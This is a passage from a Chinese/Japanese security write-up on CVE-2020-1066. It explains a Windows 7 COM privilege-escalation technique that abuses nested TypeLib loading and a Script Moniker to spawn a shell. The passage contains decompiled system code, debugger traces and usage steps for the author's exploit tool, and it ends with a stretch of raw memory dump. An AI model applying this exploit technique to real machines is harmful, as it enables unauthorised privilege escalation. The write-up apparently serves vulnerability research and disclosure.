if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
{
if ( phkResult == hKey )
hKey = (HKEY)-1;
v6 = 0;
//继续枚举子健
for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
{
if ( FIsLCID(&Dst) )
{
if ( RegOpenKeyW(phkResult, &Dst, &v22)
|| RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
{
break;
}
cbData = 520;
if ( RegQueryValueW(v21, 0, &Data, &cbData) )
break;
//找到后就加载
v8 = LoadTypeLib(&Data, &pptlib);
v9 = (wchar_t *)v8;
if ( !v8 || v8 >= 0 )
{
//根据GUID查找TypeInfo
v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
v9 = (wchar_t *)v10;
if ( !v10 || v10 >= 0 )
{
*v13 = v14;
v9 = 0;
}
}
goto LABEL_26;
}
++v6;
}
}
....
各TypeLibはネストされたTypeLib構造にすることができ、ネストされたTypeLibを読み込むと再帰的にLoadTypeLibExが呼び出されます。具体的な構築方法は、ツールコードとMicrosoft公式APIを参照してください。これにより、再帰的にTypeLibを読み込む際に存在しないTypeLibファイルパスを指定すると、それがMonikerとして解析され、MonikerのDisplayNameを介して処理されます。ここではScript Monike、つまりscript:xxx.sctスクリプトファイルを使用します。最終的にScript Monikerが解析され、BindToObjectがトリガーされ、Unmarshalで呼び出し元の権限でShellが起動されます。原理は以下の通りです:``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {
... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ...
拡大表示
Process Monitorと比較すると、以下がScript Monikerが最終的に作成したプロセスのデバッグ結果です。```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68 sub rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t.
00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M.
00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p...
00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1.....
00000000`0378ba38 00000000 00000000 00000000 00000000 ................
00000000`0378ba48 00000000 00000000 00000000 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264]
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487]
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923]
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081]
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469]
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298]
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654]
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957]
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834]
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257]
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63]
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
私の脆弱性エクスプロイトツールのテスト方法は以下の通りです。管理者として実行する必要があります。``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
#### 実行結果 ####
以下は筆者のexp実行結果です。図の通り:

#### 関連プロジェクト ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
[Windows CardSpaceサービス逆コンパイルプロジェクト](https://gitee.com/cbwang505/Windows_CardSpace_Service)
[私のole32リバースエンジニアリング](https://gitee.com/cbwang505/MyOle32ReverseEngineering)
[私のエクスプロイトツール](https://gitee.com/cbwang505/TypeLibUnmarshaler)
[シンボリックリンクツール](https://github.com/googleprojectzero/symboliclink-testing-tools)
[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)
#### 関連引用 ####
[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)
#### 貢献 ####
著者は浙江国利セキュリティテクノロジー(ZheJiang Guoli Security Technology)所属。メール:[email protected]
02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 000000000371f310 000000000378aaf8 000000000391dd00 000007fe0391df50 000000000378aaf8 000000000391dd90 000007fe03715ea0 000000000391e618 0000113b0391dde0 000007fe00000000 0000000000000000 000000000391de80 000007fe0378aaf8 0000000000000001 000000000391deb0 000007fe0378aaf8 000000000365efb0 000000180391df30 000007fe037daf90 000007fe001cf840 000007fe0391dfd0 000007fe00000002 000000000391db00 000000000391e0b0 000007fe0363fdd4 0000000000000001 000000000391e120 000007fe00000000 000000000391e618 000000000391e190 000007fe0391e340 000007fe0391e4f0 000000000391e1d0 000007fe00000020 000007fe0391e618 000007fe0391e240 000007fe0391e9b0 000007fe0391e9b0 000007fe0391e860 000007fe00000000 000000000391ec60 000000000391e8c0 000007fe00000000 00000000fb63a201 000000000391e8f0 000007fe0023e760 00000000036ce6a0 000007fe0391e960 000007fe0023e760 000000000023e760 000000000391ea10 000007fe00000000 00000018037958a0 000000000391eba0 000007fed0908070 0000000001d93e30 000000000391ec10 000007fe037daf90 0000000003715ff0 000000000391eda0 000007feff6c9930 00000000037241b0 000007fe0391ee40 000007feff670ab0 000000000391f0b0 000007fe0391ee70 000007fe0378a970 000000000391f194 000000000391ef90 000007fe00000000 000000000391f0b0 000000000391efd0 000007fe0378a970 000000000378a970 000007fe0391f050 0000000000000000 0000000000000000 00000000feb6a550 fff3 push rbx 1: kd> dc @rcx L50 0000000002c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 0000000002c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000